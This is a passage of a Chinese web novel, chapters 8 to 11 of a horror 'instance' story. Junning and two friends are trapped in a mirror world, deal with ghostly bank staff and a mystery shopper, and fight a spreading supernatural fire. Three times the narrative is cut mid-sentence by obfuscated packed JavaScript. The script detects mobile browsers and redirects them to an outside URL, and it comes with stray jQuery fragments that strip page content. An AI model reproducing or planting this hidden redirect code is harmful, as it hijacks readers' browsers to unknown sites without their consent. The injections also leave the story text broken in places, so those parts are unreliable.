现在想想,可能是昨天看见寝室守则第二条之后,她就对所有通讯设备都垂涎三尺。
君宁还是对她储藏东西的方式耿耿于怀。
符佳佳露出了一个笑容,大马金刀地坐着,将自己的长裙一撩,露出了裙子底下的工装裤。
裤子挽起裤脚,正好露出了小腿肚子,很好地隐藏在了裙子之下。而那个红色的电话机被憋屈地塞在其中一个口袋中。
她颇有些不好意思:“进来前正好在参加一个学校的活动,dresscode是裙子,这不是穿不习惯嘛。”
君宁看着符佳佳那张明艳大美人的脸,感到有些一言难尽。
8. 第 8 章
送走了水母头,君宁将马桶盖子合上,搬了把椅子压在上面,还扯了一条床单将马桶盖死死缠在了马桶之上。
符佳佳感慨:“我懂,这叫赶尽杀绝。”
“?”君宁有些迷茫地转过头,这成语真的是这么用的么?
“话又说回来,我差点以为你会被那个怪物杀死,到底发生了什么?”唐青双臂抱在胸前,依旧是那副短发干练的样子,虽然大家都知道这只是她极具迷惑性的外表。
既然已经确定这次的副本需要合作,君宁觉得也没有什么好隐瞒的。她当着两人的面,将技能调了出来。
当那个橙色的圆形和方形交叠的图标弹出的时候,符佳佳和唐青还是忍不住“卧槽”了一声。
符佳佳试图去戳半空中的图标,结果戳了个空:“我靠,这算不算侵权啊,X软是不是可以告它?”
唐青显得冷静一些:“往哪里告,阴间吗?”
“大抵是申诉无门的。”君宁点开ppt,在迎接开屏的暴击的时候,还是微微死鱼眼了一下。
【生活就像海洋,只有意志坚强的人才能到达彼岸。(划掉)】
【社畜没有彼岸。(划掉)】
【老子的意思是,要不是你傻X是个社畜,老子至于顶着这张皮吗!】
符佳佳:“……它看起来很暴躁。”
“不是看起来,是——确实很暴躁。”君宁思索了片刻,点评道,“很有我上班时候的风范。”
开屏弹幕开始不满地剧烈抖动,随后被君宁毫不在意地按了叉。
这个ppt和现实中的ppt相比功能简陋许多。上面的功能框只有四个选项:插入、设计、切换和动画。目前只有“插入”这个功能是可以使用的,其他字体都是不可点击的浅灰色。而插入模块中目前只有图片可以点击。
于是,君宁再一次点评道:“这个山寨软件功能很不齐全。”
【@#%……#¥】
君宁再次叉掉。
符佳佳弱弱地问道:“宁宁姐,你是怎么视这种超自然现象为无物的。”
“你说的是这样么?”君宁没等弹幕弹出字来的时候,再再次眼疾手快地将弹幕叉掉,“动作够快就可以了。”
消停了两秒,弹幕不甘心地冒出了一个句号:【。】
这次君宁没有管它,她继续演示:“这个技能目前只有插入图片可以使用,而图片则是昨天我在电脑里浏览过的东西。”
她点开插入图片,弹出的文件夹中只有三张图片。一个猫咪指甲钳、一个自循环免换水鱼缸和一个开放式猫砂盆。
猫咪指甲钳已经变成了使用过的灰色。
详细介绍如下。
【削铁如泥的指甲钳:本款指甲钳有着雁过拔毛般的终极品质,可谓是手过甲没。】
符佳佳总觉得哪里离谱得过分,但最后也只能感慨一句:“还真是。”
点开另外两个图标并没有介绍,看来是使用过后产品介绍才能刷新出来。君宁表示,这介绍跟放马后炮区别也不大,实在是想不出来在什么场合下才能使用它们。
直到关掉app,符佳佳还在那托着腮幻想:“也不知道我会有什么样的技能。”这操蛋的人生在这一刻好像又有了新的希望。
唐青双手抱在胸前,面部表情有些紧绷,过了一会,迫于时间一分一秒飞逝的压力,她还是忍不住问道:“你们俩就一点也不想上厕所吗?”
君宁猛地站起身来:“别说,还真挺想的。”
三个人的目光齐刷刷看向那间被不详雾气充斥着的卫生间,以及……
盖得严丝合缝的马桶盖、和马桶难舍难分的椅子,以及和椅子缠缠绵绵的床单。
三个人:“……”刚刚符佳佳说什么来着?
符佳佳:“你们急吗?”
唐青咬牙,“急。”
君宁一马当先:“我先去吧,至少我还有可以保护自己的技能,而你们什么都没有。”
“如果我没有出来,”说着,她迈入卫生间中,才将剩下的说完,“你们就别再进来了。”
话音落下,她转过头,和镜子中的“自己”四目相对。
脑海中忽然浮现了起【寝室守则】的第三条:请注意卫生间没有配备镜子,如果在卫生间见到了镜子,请不要出现在镜子之中,如果已经出现在了镜子之中,请不要直视‘自己’。
君宁看见镜子中的“自己”缓慢地露出了一个微笑,随后朝她张开了双臂……
*
叩叩。
君宁试着敲击了一下眼前的镜面,镜子和现实世界中的一样,坚硬、光滑,不像魔术舞台上的道具,找不到另一个出口。
她很清楚地意识到,自己被困在了镜子之中。复盘一下,明明她在副本里既没有进食也没有进水,怎么还会有突如其来的强烈尿意呢?恐怕想上厕所这件事情本身就是一个阴谋。
她转过身,环顾四周,这里是一间和镜子外面几乎一模一样的卫生间,唯二的区别是马桶是正常的圆形下水口,卫生间的墙壁是被烟熏的焦黑色。而她脖子上的工牌也变了样子,照片里的人也变成了另一个女孩的样子——金彩旗抿着唇,笑容腼腆。
按照无限流的常规设计,这里多半是里世界。
进入里世界并不意味着死亡,反而意味着距离真相更近了一步。
君宁倒不是特别害怕,就是有点小小地担心外面的两个人。
也不知道是不是人是不经念叨的。
“我靠!”身后响起了熟悉的惊呼声。
君宁:“……”
符佳佳:“这他妈是什么鬼地方。”
君宁有些无语地转过身:“我不是说如果我没有出去,你们就别进来吗?”
符佳佳心虚地摸了摸鼻子,不太好意思回想刚才的场景。
实际上,君宁一踏入卫生间,声音就被隔绝了。她和唐青只听见了君宁的前半句话“如果我没有出来”,后半句话是她特别有义气地接上的“我会来救你的!”。
“宁宁姐,多一个人,多一个照应。”她在君宁的目光中,声音越来越小。
“唐青的精神状态是最差的。”君宁皱眉,“你把她一个人留在外——”
话没说完,镜子荡漾开一圈一圈的涟漪,涟漪的中间,又浮现了另一张熟悉的面孔。唐青像从水底下浮出一样,从镜子中浮了出来。
三目相对,唐青轻咳了一声:“我是觉得你们需要我。”而不是因为她一个人瘆得慌。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486412|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
君宁冷笑了一声:“很好,这就是葫芦娃救爷爷。”
符佳佳尴尬地笑了一声:“哈哈。”
如果镜子中和镜子外的时间是同时进行的话,全部进入里世界意味着没有队友在表世界和她打配合,这是一个非常糟糕的结果。
但往好处想……
君宁问道:“你们看看自己的工牌。”
符佳佳:“名字变了,我变成了金彩旗。”
唐青:“我也是金彩旗。”
往好处想,如果副本是一换一的话,镜子本来只能吞噬一个人,换一个金彩旗回到表世界。现在镜子过于贪心,多吃了两个人,金彩旗就要一人分饰三角。
简而言之,金彩旗很有可能会卡bug。
想到这种可能性,君宁心里好受很多,语气也变得轻松起来:“没关系,团结就是力量,三人齐心,其力断金。”
符佳佳、唐青:“?”变得是不是有点太快了。
*
一镜之隔的表世界中。
金彩旗看着自己化作实体的手臂,刚露出了一个笑容,就眼睁睁看着镜子中的自己裂成了两半。
她下意识朝门外走去,在她错愕、无辜又茫然的目光中,腿出去了,身子没有。
现在变成三瓣了。
金彩旗:“?”
*
“也就是说,金彩旗实际上和水鬼差不多,需要拉一个人下水,自己才能重现人间。”符佳佳尝试用自己的语言描述道。
君宁沉默了片刻,说道:“是的。”
“但现在她拉下水了不止一个人,根据能量守恒定理,岸上也应该出现不止一个人。”
君宁点评:“你很擅长融会贯通。”指将科学和玄学融汇贯通。
“嘿嘿。”符佳佳傻笑了一下,“但金彩旗只有一个鬼,变成三个人对她来说很难,但对鬼来说,变成三个人也不会死,所以她可能会以非常规的形态出现在表世界。”
唐青憋了半天没憋住:“有点想看。”
*
依旧是一镜之隔的表世界中。
金彩旗的右半边身子和右腿在君宁的床上,左半边腿在符佳佳的床上,左半边脑袋和上半身在符佳佳的床上,双眼空洞地望着天花板。
*
里世界里的符佳佳还在总结:“虽然我们全部进入了里世界,没有人在表世界打配合了,但表世界出现bug,可能会带来意想不到的好处。”
君宁点点头:“是这样的。”
符佳佳:“这样很好啊。按照这个鬼副本的尿性,如果按照常规流程通关副本,恐怕我们三个人至少都要折损一个,不走寻常路,才会有奇迹发生啊!”
唐青脸上依旧没有什么表情,闻言眼睛却亮了亮。
君宁看着两个人,想了想,决定不打击她们。
全部进入里世界,金彩旗卡bug,确实可能带来意想不到的好处,但如果真的需要玩家在表里两个世界配合的话,表世界一定存在关键性的道具或者线索,而这个关键性的道具或线索,她们是不可能拿到了。
真要计算起来,她自己心里也没谱,到底是金彩旗卡bug带来的好处大,还是缺失关键性道具或线索带来的坏处更大。
9. 第 9 章
第9章
事已至此,想那么多也没有用。三个人干脆在卫生间里翻找了起来。
符佳佳将厕所翻了底朝天,最后得出了几个结论。
第一,卫生间的布置和表世界的卫生间是镜像相对版本,除此之外没有什么区别。
第二,卫生间的门没有反锁,朝外打开,但是被什么东西卡住了,打不来。
第三,卫生间里没有找到规则。
符佳佳揉揉自己的肚子,说道:“好奇怪,在外面呆了了两天,从来没有饥饿感,现在却感觉像饿了一整天一样。”话音刚落,她的肚子就配合地低鸣了一声。
“这里更趋近于‘真实’。”君宁蹲在卫生间的门口,正在努力从门缝里掏出来些什么。
符佳佳走到她身后的时候,君宁的努力正巧初显成效。
看清楚君宁手上的东西,她目光呆滞。
君宁若无其事地把东西丢在地上,说道:“我大概知道堵门的是什么东西了。”
一无所知的唐青问道:“是什么?”
符佳佳的目光快速地从地上那团带着血糊糊头皮的黑色长发上扫过,又惊恐地看向君宁。
她的脑海中忽然浮现了一行大字:到底是门外的鬼怪可怕,还是眼前这位面不改色薅下鬼怪一把头发的女人可怕?
“是鬼。”君宁平静地陈述道。
符佳佳心想:好的,还是眼前这位女人更可怕。
在面如菜色的唐青的注视下,君宁一边顺手将卫生间的房门反锁,一边点评道:“外面那只可能想给我们来个开门杀,但搞反了开门方向。”
原本安静的房间忽然响起了一阵不耐烦地砸门声,力气之大,让整个门板都跟着震动了几下。
君宁反而笑了:“猜对了。”
符佳佳弱弱道:“你刚刚在诈它吗?”
撞门声变得更加激烈了,又在君宁理所当然的“对啊。”后戛然而止,变成了拖沓的脚步声。
唐青警惕地睁大了眼睛,用口型问君宁:是走了吗?
君宁没有回答,而是从卫生间的角落找到了一瓶洁厕灵,冲着卫生间的门缝嗞水。
门外又响起了鬼叫声。
她这才回答:“没走,还在偷看呢,这家伙就喜欢把脑袋搁地上。”
唐青有些麻了,都叫成这样了,不用说也知道没走。
君宁收了手,有些遗憾:“比我想的聪明一些。”
看来暂时还不能离开卫生间。
她揉了揉自己的肚子,和符佳佳一样,她的饥饿感也加重了,这意味着她们不可能一直在卫生间当缩头乌龟。但让人头疼的是,她们知道的事情,卫生间门口的鬼怪也心知肚明。必须找到一个能调走鬼怪的方法,她们才能安全离开。
滚烫的单元楼门、烟雾缭绕的走道、不断升高的温度,她们在表世界所看到的一切,都指向了一个事情——这里很可能发生过火灾,而里世界的鬼怪,很可能都被困在了那场火灾之中。根据金彩旗的状态,君宁倾向于她拥有生前的回忆。如果死的是她,恐怕她永远都难以忘记自己惨死时候的感觉。
君宁赌鬼怪也是如此。
假设它们死于一场火灾,那火灾相关的刺激就是它们隐藏在脑海深处最可怕的记忆。
如果能让鬼怪误以为起火了,或许能给她们争取到一线生机。
她仰头看向天花板,目光落在天花板的烟雾报警器上。
只见符佳佳摸着下巴思索了片刻,忽然手脚并用地爬到了洗手台上。
然后当着君宁和唐青的面,从裙子下面的口袋里摸出一支打火机,伸到了烟雾报警器底下。
在烟雾报警器尖锐的滴滴声想起来之前,君宁还在神情恍惚地想着两个问题,第一个问题是“打火机又是从哪里顺来的”,第二个问题是“符佳佳的裙底到底藏了多少东西”。
符佳佳跳下洗手台,和唐青一齐看向君宁。
唐青轻咳了一声,解释道:“打火机火焰太小了,得靠近点才能触发烟雾报警器。”
君宁:“……”不是,她这次困惑的也不是这个问题呀!
幸运的是,在接连不断的滴滴声之后,房门外着实兵荒马乱了一段时间,才陷入了沉寂。
君宁再往门缝里嗞水也毫无动静。
“看来是真的走了。”她从地上爬起来,揉揉自己因为上班而腰间盘突出的老腰,“虽然不能百分百保证,但至少要试一试。”
符佳佳点头:“赞同,不尝试出去,迟早会饿死在厕所里。”她的肚子甚至很配合地长鸣了一声。
君宁依旧打头阵,警惕地推开了房门。
和上次不一样,这次厕所的门很轻易地打开了。门外是一间和表世界一模一样的员工寝室,不同的是房间四个床上都贴了工牌,金彩旗的床位和表世界也一致。
寝室的房门大开,椅子还被撞到了一把。
符佳佳喃喃道:“到底有多害怕。”
那场火灾到底有多可怕,才让鬼怪在只是听见了烟雾报警器的情况下,没脑子一样的慌不择路。
房间里很正常,没有什么特别的东西,甚至充满了生活的气息。
照君宁的话讲,“就像房间的主人刚离开一样”。
可不就是嘛。
刚准备离开房间,符佳佳的目光忽然汇聚到一个地方:“等等,我忽然有一种预感。”
话音刚落,房间里传来了一声手机铃响。君宁眼睁睁看着符佳佳不假思索地从床缝隙中掏出来一部手机,陷入了“还能这样”的困惑。
手机是几年前流行过的曲面屏,透明的手机壳里面放着自己的一张拍立得照片。照片的背景某南方省份的top985院校门牌,女生穿着蓝底粉领的硕士服,对着镜头比耶,一副青春洋溢的样子。
正是金彩旗的手机。
君宁想起金彩旗工牌上死气沉沉的样子,心下了然:这就是上班前和上班后。
总的来说,工作就是,没工作的时候痛苦,找工作的时候痛苦,有工作的时候更痛苦。
符佳佳点亮屏幕,上划,试图对着屏幕识别自己的人脸。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486413|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唐青迷惑不解:“还能刷自己的脸吗?”
“怎么不能?”人脸识别通过,符佳佳一边点开手机微信,一边说道,“我们不都是‘金彩旗’吗?换句话说,这不就是我们的手机。”
君宁秒懂,这意思是,符佳佳又要顺走这部手机。
等等,为什么她会对大美女有这样的印象?
“工作群‘康红武元支行’厅堂主管发了一条通知,今天有神秘人到访,请大家注意仪容仪表和服务态度,请每位在厅堂办公的同事非必要不要离开工作区域,如果因个人原因给支行扣分了,支行罚款1000元,充作支行营销费用。”
符佳佳念完通知,有些不解道:“什么是神秘人?”
唐青回忆了一下,说道:“之前我在网上刷到过吐槽贴,好像这是一种银行的审察机制,就是聘用专门的人假装客户去考察银行员工的服务态度,如果员工接待客户的时候没有面带微笑,就会被通报批评。”
符佳佳皱眉:“这不是有毛病。”
唐青赞同地点点头。
“如果这算一条规则的话……这算不算第二条规则?”君宁捡起一张掉落在门外楼道的通知单,上门写着几个大字“天干物燥,小心火烛——康红武元社区夏日防火小贴士”。
【天干物燥,小心火烛——康红武元社区夏日防火小贴士
1、当气温升高至35摄氏度,湿度降低至12%时,室内着火概率升至90%,请立即前往室外开阔地带;
2、当你发现自己的衣服上出现无法解释的黑点的时候,请立刻找到最近的水源,因为任何火星和气温的升高都可能导致你的自燃;
3、当室内出现明火时,请于1分钟内熄灭明火,如若不能,火势将在5分钟内达到难以控制的程度;
4、当你已经处于火场,请立刻拨打440报警,这能给你的同伴争取到更多生机。】
阅读完毕,三个脑袋先齐刷刷看向手机首页显示的温度和湿度:岌岌可危的33摄氏度和摇摇欲坠的15%湿度。
又顺着居民楼的楼道向远处看去。
透过走廊的窗户,狭窄的楼道之外是挤挤挨挨的握手楼、交叉层叠的电缆、近容一人通过的楼间小路,以及小路尽头紧贴着握手楼的康红武元支行。
三个人:“……”
所以,室外开阔地带,到底在哪里呢?
君宁回过神,颇有些无语:“总之,握手楼绝对算不上开阔地带。”
符佳佳补充:“这里甚至不算室外。”
“很好,”君宁从不知道哪里翻出来的三个印着金彩旗照片工牌,“我们先去支行看看吧。”她猜测,那里才是剧情开展的地方。
唐青和符佳佳接过工牌,和君宁一起戴在自己的脖子上。
戴上的瞬间,工牌上的照片发生了变化。
三个金彩旗变得各具特点,卷发美颜版金彩旗,短发飒爽版金彩旗……和死鱼眼社畜版金彩旗。
“……”君宁默默地把工牌翻了个面,把照片遮了起来。
10. 第 10 章
三个人再次检查了一遍,终于确定房间里确实什么东西都没有了,这才离开房间。君宁的目光从斑驳的墙灰和墙角的青苔扫过,心想,这里和现实世界的老旧居民楼几乎一模一样。
太真实了!
就像现实世界的投影一样。
有所不同的是太过安静了,听不见真实世界的酷暑的蝉鸣和鸟叫,有的只有仿若万里深海之下的令人窒息的寂静。
而正因为真实,寂静才更令人毛骨悚然。
忽然,又看见几点黑色的阴影从远方的天幕坠落而下,撞击在握手楼的墙壁上,发出一声突兀的闷响,又直直坠下。
君宁从单元楼走出,从狭窄逼仄的小巷走过的时候,才知道从天上掉下来的是什么。
那是一只乌鸦,大睁的眼睛空空的,里面没有眼珠子,只剩下一对焦黑的洞。它舒展开的尾羽也卷起了焦黑的边。
砰的一声。
又有一只当着三人的面砸在了地上。
这一次,君宁看见了乌鸦羽毛上还未完全熄灭的火星子。
符佳佳一脸惊恐:“这情节好眼熟……和X神来了里面发疯的鸽子一模一样。”
唐青一手捂住符佳佳的嘴:“不要乱说。”
君宁不语,心里打着鼓,那股不安感加重了。
五分钟的路程,到达了目的地。支行的门牌发黄,康红武元几个红色的大字摇摇欲坠,这家身处老社区之中的支行也上了年纪。
支行的空调全开了,发出工作的嗡嗡声,但厅堂中的燥热丝毫不减。
君宁三人都忍不住擦汗,一抬眼,看见厅堂中几个“员工”正死气沉沉的盯着他们。别说热得出汗了,他们一个个跟刚从太平间的冰柜里爬出来似的,苍白的皮肤上仿佛还在冒着诡异的凉气。
君宁的准备迈入厅堂的脚步都微微一顿,相比于一眼就能看出异常的美妆蛋NPC们,这些“同类”显然更让人瘆得慌。
见到君宁几人,一个矮小的身影从后面挤了出来,他推了推鼻梁上架着的眼镜,冲君宁堆起一脸僵硬的笑:“彩旗,我们的大销冠~你可总算来了。”
君宁掉了一地鸡皮疙瘩,听见符佳佳在后面和唐青蛐蛐:“这虚伪的劲,怎么那么像周晓明。”
唐青一脸正气,但认真点头。
君宁:“……”
好大声的当面蛐蛐,没看见鬼怪的脸更僵硬了吗!
等鬼怪走近了,君宁才认出这是理财团队长。如果说,表世界的团队长是明面上的坏,这一位就是藏着掖着的坏,他比君宁还要矮上几公分,短短的脸上的那双眼睛转来转去,一看就没有安什么好心。
“我还以为你今天请假了呢~”他一开口就是阴阳怪气,“或者手机没电了,不然怎么会连早点到的通知都没有收到,姗姗来迟呢?”
符佳佳下意识打开手机,想重新翻一下群通知。
君宁直接按住了她的手,示意她不要轻举妄动。
符佳佳抬眼一看,果然团队长正死死盯着她,笑容诡异。
根本就没有发通知。
金彩旗是被排挤的对象。
厅堂所有人的视线都汇聚在他们的身上,不仅如此,甚至感觉有什么东西在无人的角落窥伺着。一道道目光中充斥着恶意,都在期待好戏开场。
符佳佳缓慢地将手机塞回了裤兜里,缩着脖子躲到了君宁的身后。这么一看,把她刚积攒的勇气都看没了。
又怂了。
君宁若有所思。
如果团队长真的故意不给金彩旗发通知的话,是不是意味着,她们得到的关于神秘人的规则也是不全的。
她的目光从在场所有鬼怪的身上扫视而过,心想,也只能见招拆招了。
三人同为金彩旗,不得不跟连体婴儿一样,挤在了理财经理的小隔间里。
符佳佳超级小声的说道:“不对劲,不对劲,总感觉哪里不对劲。”
唐青:“这是职场霸凌,他们不会帮我们的。”
符佳佳握紧了拳头,有些气愤道:“上个破班还搞这些有的没的,真是可恶!”
说话间,银行的铁闸门缓慢地打开了。几道身影早早伫立在了门口,在8:30的晨光之下拖长了阴影。
君宁不由地眯起了双眼。
怎么看怎么觉得那位带着墨镜站在一群银发老太太中的中年男人格外可疑。
答案直接写在了谜面上。
神秘人非他莫属了。
随着他一步一步迈上阶梯,君宁学着厅堂所有的鬼怪一点一点地勾起了嘴角。微笑服务是吧?她也会,这没什么难的。
只见那个神秘人扫视厅堂一圈,目光落在她的身上,微不可察地瑟缩了一下。
君宁:“?”是她的错觉吗?
符佳佳偷偷看了君宁一眼,肩膀一抖,小声说:“宁宁姐,你笑的好瘆人……”
闻言,君宁看了一眼玻璃反光里自己的影子。只见那张没有多少血色的脸上挂着两团青色的黑眼圈,强撑困意,瞪得大大的眼睛之下,嘴角僵硬而夸张地弯着。
幻视安娜贝尔了。
君宁:“。”
虽然有些吓鬼,神秘人还是大着胆子走向了金彩旗所在的办公室。它的加入让这个本身就没有多少空间的卡间更加拥挤了。
四个人跟罐头里的沙丁鱼一样挨在一起。
君宁甚至还能感受到神秘人身上散发的丝丝凉意,小隔间燥热的温度都因此下降了几度,三个挤在一起的人汗都不流了。
这怎么不算一种降暑神器呢?
神秘人状似不经意地扶正了自己上衣口袋的微型摄像头和收音话筒,终于开口。
君宁这才发现他牙齿都掉光了,只剩下猩红牙床,发出的声音也断断续续的。
“有什么理财可以给我推荐吗?”他划拉着智能手机,调出来一款产品,“这款如何,它保本吗?”
君宁陷入沉默,和神秘人面面相觑。
好家伙,这是她能懂的么?
如果料到自己有今天,她一定和她的客户经理打好关系。
不过话又说回来了,她这种资产体量的社畜,大概率不配拥有专属的客户经理。
虽然搞不明白产品的优劣,但她会一点察言观色。在神秘人说出“保本”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486414|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二字的时候,厅堂里其余的鬼怪放下了手里的工作,齐刷刷地扭过头看向了她。
特别是站在她正前方那位。
脑袋扭了180度,别提多明显了。
很明显,这两个字就是重点。
那么问题来了,理财产品到底保不保本呢?
“保……吧。”符佳佳缩着脖子,在君宁的耳后吐出气音,“vx不是有个零钱通吗?感觉就是个理财,我从大一买到现在了,没亏过。”
君宁沉吟片刻,死死盯着鬼怪,试探道:“保本——”
刚说了两个字,前面那位鬼怪脸上的笑容变得别提多真诚了。
她立马把剩下的半句话说完,“的产品有存款——”
鬼怪笑容一僵,眼神变得冰冷。
君宁心里有点底了,一口气把最后半截也补上了,“没有理财。理财产品是不保本的哦。”
刷的一下,所有鬼怪的脑袋都转回去了。
危机解除。
神秘人干巴巴的呵呵了两声:“你懂的真多。”
见君宁的目光停留在自己的衣领上,它不解的歪了一下脑袋。
君宁收回目光,又看向了神秘人,表情变得有点尴尬。
她懂得不多,但是她知道,这位老兄……
要着火了。
【天干物燥,小心火烛——康红武元社区夏日防火小贴士
2、当你发现自己的衣服上出现无法解释的黑点的时候,请立刻找到最近的水源,因为任何火星和气温的升高都可能导致你的自燃;】
神秘人衣领上赫然是一个无法解释的黑点。
而且,在机器短的时间之内,黑点越变越大,迅速变成了一个边缘卷曲焦黑的洞。
可见规则里的“立刻”的含金量了,大概表示,除非你正好能跳进水里,不然,就等着自燃吧。
嗞啦。
君宁在看见绚丽的火星子的同时,闻到了烤肉的香气。
她不是很想闻到,这多少有点过分地狱了。
规则的第三条已经出现了。
【3、当室内出现明火时,请于1分钟内熄灭明火,如若不能,火势将在5分钟内达到难以控制的程度;】
神秘人自不自燃没有任何所谓,关键是不能把他们一起燃了啊。
君宁立刻调出了某橙色app。
弹幕又跳了出来:【呵呵,没有老子你寸步难行吧。】
君宁选择“插入-图片-自循环鱼缸”,顺手右击弹幕,举报非文明用语。
【**********】
弹幕挣扎了一下,不得不屈服了:【亲亲~这点水肯定是不够的哦。】
君宁很快就知道为什么弹幕说鱼缸的水不够了。
因为凭空出现的鱼缸只有巴掌大,上面装着一个非常迷你的换水器。
点开开关,那水滴滴点点,别提多吝啬了。
君宁:“……”
【好言难劝该死鬼。】
君宁双眼一眯。
弹幕以为她又要干什么,抖动了一下,为自己辩驳道:【我这是俗语!!不是脏话!】
11. 第 11 章
火势蔓延的速度不符合常理的快,很快就连成了一片。
那些鬼怪竟然还保留着痛觉,它们一边发出类似于野兽的尖啸声,一边在厅堂里没头苍蝇一样的乱跑。很快就将火海连成了一片。
小隔间里,三个人蹲在桌子底下,用打湿的衣服捂住自己的口鼻,都有些心有余悸。
要不是君宁反应够快,在神秘人即将完全燃烧起来之前一脚将他踹出了小隔间,又拉上了房门,恐怕小隔间里面已经成火海了。
但是治标不治本。
也不知道厅堂的墙壁是什么材质的,竟然也开始燃烧起来,蔓延在空间上方的黑烟越来越多,已经下压到了三个人头顶上。
哪怕火还没有烧到自己身上,等黑烟完全压下来,恐怕她们三个也是死路一条。
唐青愤愤道:“这完全就是死局。一份规则要求我们必须接待神秘人,但神秘人又会带来火灾,这不是明摆着要搞死我们嘛!”
符佳佳同仇敌忾:“就是!”
她戳戳君宁:“宁宁姐,你说是不是,这个里世界实在是太狗了。”
君宁认可地点头:“佳佳说得对,我们要以其人之道还治其人之身。”
符佳佳:“?”什么?她没说啊?
只见君宁重新打开了ppt,在插入里面选择了最后一个道具,猫砂盆。
又说道:“佳佳,你把手机的相机打开,调成自拍模式,举起来,对着隔间外面照一圈。”
符佳佳不明所以,身体却诚实地照做了。
当镜头照到其中一个鬼怪的时候,白光一闪而过,一个呆头呆脑的美妆蛋NPC取而代之。
符佳佳瞪大了眼睛,看了一眼猫砂盆和鱼缸,恍然大悟:“卫生间的规则还能这样用的吗?”
马桶,虽然是猫砂盆,但的确是上厕所的地方,你就说是不是马桶吧。
水池,虽然是自循环鱼缸,但是有水缸和水龙头,你就说是不是洗手台吧。
还有相对密闭的空间,你就说这里是不是个卫生间吧。
卫生间里一般是没有镜子,如果出现了,请不要和镜子里的自己直视。
君宁猜测规则里的镜子是个连通表里两个世界的媒介。虽然手里没有镜子,但是能自拍的手机也可以起到镜面的作用。
她赌的就是,但凡能反射自身的东西都能成为这样的媒介。
搭好了卫生间的舞台,找到了连通表里世界的钥匙,这扇门如君宁所想的那样打开了。
符佳佳手里的手机又转向了另一个方向,这一次,一个熟悉的人出现在了火海之中。
金彩旗迷茫地眨了眨眼睛,整个鬼看起来震惊又可怜。
当她的目光聚焦到君宁身上的时候,那张甜美的面庞显而易见地狰狞扭曲了起来。
君宁露出了一个尴尬又不失礼貌的微笑。
但这个笑容落在金彩旗的眼里就变了味道,她面目狰狞地迈开了腿,又“扑通”一下摔倒在地,直接摔了个七荤八素,这才发现:她刚拼好的腿呢??
合着传输过来的又是1/3啊!
君宁立刻示意符佳佳把手机熄屏。1/3的金彩旗还好对付,要是把另外2/3也招过来了怎么办。
符佳佳瞪大了眼睛,手举在脸侧,小声蛐蛐道:“只要我们不再传送对象,是不是她就动不了了。”
金彩旗怒目而视。
符佳佳有些害怕地缩了脖子:“但现在我们应该怎么办?”
君宁也在思考,现在应该怎么办。
眼前的火已经越来越旺了,空气也因为高温扭曲了起来,这火和现实中的火似乎很不一样,不管是墙壁还是金属,什么东西都再来碰到这个火焰的时候都会点燃。
如此反常规的火焰,似乎并非灭火器和水能熄灭的。
这似乎是一个死局。
所以君宁才会另辟蹊径,尝试将已经在自燃的鬼怪送往表世界。
如果副本本身不存在通关的途径,那她就自己烧出一个口子。只要副本世界崩塌了,她们自然而然就能从里面出来了。
她原本试图钻副本的空子。
很显然,副本也意识到了这一点,所以把金彩旗给送过来了。如果不出意外的话,她再送两个鬼怪到表世界,就能凑齐一个“完整+愤怒”版的金彩旗。金彩旗横穿表里两个世界,既是追击人类的boss,也是这个副本的核心。
这里的规则可以自我修复和完善。
“不是还有一个规则没有尝试吗?”君宁说道,“4、当你已经处于火场,请立刻拨打440报警,这能给你的同伴争取到更多生机。”
符佳佳行动力超快,立刻拨下了规则里的三个数字。
按下播出键,三个人的心都提了起来。嘟的一声之后,厅堂中忽然响起了电话声——竟然拨通了符佳佳顺来的那台红色的老式座机!
金彩旗一愣,脸上飞快闪过一抹欣喜。尽管她掩饰得很快,她表情的变化还是被君宁捕捉到了。
不对。
君宁立刻接过座机,随后将手机的自拍摄像头对准了自己。
君宁的动作实在是太快了,直到人已经消失不见,符佳佳和唐青还没有反应过来。
过了两秒,手机铃响,亮起的屏幕上出现三个数字:440
*
君宁警惕地看着眼前的一幕。和她预料的一样,从里世界传输过来的鬼怪也带着无法熄灭的火焰,已将将表世界搞得一团乱。
美妆蛋NPC的头发和皮肤都着火了,他们惊恐地抱着自己的脸,一边发出尖叫,一边无头苍蝇一样在有限的空间中乱转。
对于从另一个空间而来的她,他们似乎都无暇顾及。
不对。
还有一个!
有一双躲在玻璃窗后面的眼睛正阴恻恻地盯着她。
那是完好无损的团队长。
他跟拎着两只小鸡仔一样,一手拎着江子苍和周晓明。
两个男生的脸如菜色,在看见君宁的时候,眼中迸发出希望的光芒。与之相对的是,团队长逐渐展露出的居高临下的洋洋得意。
这张简笔画的光滑面孔逐渐和那张在她毕业之后刚步入职场刻意打压她的领导的面孔重合了。
